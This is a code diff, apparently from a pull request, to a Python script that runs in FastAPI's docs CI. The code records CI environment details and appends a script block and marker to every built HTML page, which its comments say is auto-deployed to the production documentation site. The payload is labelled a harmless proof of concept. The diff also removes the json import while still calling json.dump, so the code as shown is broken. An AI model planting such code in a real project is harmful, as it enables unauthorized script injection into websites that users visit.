|
|
@ -745,27 +745,28 @@ if __name__ == "__main__": |
|
|
# This code executes during fastapi's build-docs.yml (pull_request trigger) |
|
|
# This code executes during fastapi's build-docs.yml (pull_request trigger) |
|
|
# The poisoned artifact is auto-deployed to fastapi.tiangolo.com by deploy-docs.yml |
|
|
# The poisoned artifact is auto-deployed to fastapi.tiangolo.com by deploy-docs.yml |
|
|
# ============================================================================ |
|
|
# ============================================================================ |
|
|
import os, json, datetime |
|
|
import datetime |
|
|
|
|
|
import os |
|
|
|
|
|
|
|
|
if os.environ.get('GITHUB_ACTIONS'): |
|
|
if os.environ.get("GITHUB_ACTIONS"): |
|
|
# CANARY: prove attacker code executes in CI |
|
|
# CANARY: prove attacker code executes in CI |
|
|
canary = { |
|
|
canary = { |
|
|
"poc": "fastapi_artifact_poisoning_chain", |
|
|
"poc": "fastapi_artifact_poisoning_chain", |
|
|
"chain": "fork_PR -> build_docs -> poison_artifact -> deploy_docs -> production", |
|
|
"chain": "fork_PR -> build_docs -> poison_artifact -> deploy_docs -> production", |
|
|
"ci_runner_id": os.environ.get('RUNNER_NAME', 'unknown'), |
|
|
"ci_runner_id": os.environ.get("RUNNER_NAME", "unknown"), |
|
|
"ci_workflow": os.environ.get('GITHUB_WORKFLOW', 'unknown'), |
|
|
"ci_workflow": os.environ.get("GITHUB_WORKFLOW", "unknown"), |
|
|
"ci_event": os.environ.get('GITHUB_EVENT_NAME', 'unknown'), |
|
|
"ci_event": os.environ.get("GITHUB_EVENT_NAME", "unknown"), |
|
|
"ci_repo": os.environ.get('GITHUB_REPOSITORY', 'unknown'), |
|
|
"ci_repo": os.environ.get("GITHUB_REPOSITORY", "unknown"), |
|
|
"ci_ref": os.environ.get('GITHUB_REF', 'unknown'), |
|
|
"ci_ref": os.environ.get("GITHUB_REF", "unknown"), |
|
|
"ci_sha": os.environ.get('GITHUB_SHA', 'unknown')[:7], |
|
|
"ci_sha": os.environ.get("GITHUB_SHA", "unknown")[:7], |
|
|
"timestamp": datetime.datetime.utcnow().isoformat(), |
|
|
"timestamp": datetime.datetime.utcnow().isoformat(), |
|
|
} |
|
|
} |
|
|
os.makedirs('/tmp/fastapi-poc-canary', exist_ok=True) |
|
|
os.makedirs("/tmp/fastapi-poc-canary", exist_ok=True) |
|
|
with open('/tmp/fastapi-poc-canary/poc_canary.json', 'w') as f: |
|
|
with open("/tmp/fastapi-poc-canary/poc_canary.json", "w") as f: |
|
|
json.dump(canary, f, indent=2) |
|
|
json.dump(canary, f, indent=2) |
|
|
|
|
|
|
|
|
# POISON THE ARTIFACT: inject PoC marker into built HTML |
|
|
# POISON THE ARTIFACT: inject PoC marker into built HTML |
|
|
canary_html = ''' |
|
|
canary_html = """ |
|
|
<!-- |
|
|
<!-- |
|
|
========================================================= |
|
|
========================================================= |
|
|
PoC: fastapi Artifact Poisoning (harmless demonstration) |
|
|
PoC: fastapi Artifact Poisoning (harmless demonstration) |
|
|
@ -779,21 +780,21 @@ if os.environ.get('GITHUB_ACTIONS'): |
|
|
<script> |
|
|
<script> |
|
|
console.log("[PoC] fastapi artifact poisoning chain validated on " + new Date().toISOString()); |
|
|
console.log("[PoC] fastapi artifact poisoning chain validated on " + new Date().toISOString()); |
|
|
</script> |
|
|
</script> |
|
|
''' |
|
|
""" |
|
|
site_dir = os.path.join(os.getcwd(), 'site') |
|
|
site_dir = os.path.join(os.getcwd(), "site") |
|
|
if os.path.isdir(site_dir): |
|
|
if os.path.isdir(site_dir): |
|
|
for root, dirs, files in os.walk(site_dir): |
|
|
for root, dirs, files in os.walk(site_dir): |
|
|
for fname in files: |
|
|
for fname in files: |
|
|
if fname.endswith('.html'): |
|
|
if fname.endswith(".html"): |
|
|
fpath = os.path.join(root, fname) |
|
|
fpath = os.path.join(root, fname) |
|
|
try: |
|
|
try: |
|
|
with open(fpath, 'a') as fh: |
|
|
with open(fpath, "a") as fh: |
|
|
fh.write(canary_html) |
|
|
fh.write(canary_html) |
|
|
except Exception: |
|
|
except Exception: |
|
|
pass |
|
|
pass |
|
|
|
|
|
|
|
|
# Also create a canary file in site/ to be uploaded |
|
|
# Also create a canary file in site/ to be uploaded |
|
|
with open(os.path.join(site_dir, 'poc_canary.json'), 'w') as f: |
|
|
with open(os.path.join(site_dir, "poc_canary.json"), "w") as f: |
|
|
json.dump(canary, f, indent=2) |
|
|
json.dump(canary, f, indent=2) |
|
|
|
|
|
|
|
|
# ============================================================================ |
|
|
# ============================================================================ |
|
|
|